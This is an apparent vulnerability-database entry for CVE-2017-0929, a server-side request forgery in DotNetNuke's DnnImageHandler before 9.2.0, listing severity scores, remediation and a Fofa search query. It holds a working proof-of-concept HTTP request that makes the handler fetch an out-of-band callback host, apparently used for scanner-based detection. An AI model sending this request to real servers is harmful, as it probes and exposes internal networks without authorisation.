| Title | DotNetNuke (DNN) ImageHandler <9.2.0 - Server-Side Request Forgery |
|---|---|
| Author | charanrayudu,meme-lord |
| Severity | High |
| Impact | An attacker can exploit this vulnerability to bypass security controls, access internal resources, and potentially perform further attacks. |
| Remediation | Upgrade DotNetNuke (DNN) ImageHandler to version 9.2.0 or above. |
| CVSS Score | 7.5 |
| EPSS Score | 0.92808 |
| CVE ID | CVE-2017-0929 |
| CWE ID | CWE-918 |
| Fofa Query | app="dotnetnuke" |
| Tags | cve2017 cve dnn dotnetnuke hackerone oast ssrf dnnsoftware vkev vuln |
DotNetNuke (aka DNN) before 9.2.0 suffers from a server-side request forgery vulnerability in the DnnImageHandler class. Attackers may be able to access information about internal network resources.
GET /DnnImageHandler.ashx?mode=file&url=http://d5jq609le0o1cn7m5d4gyu4837w1nqm15.oast.site HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-0929.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-0929.pcap
N/AN/A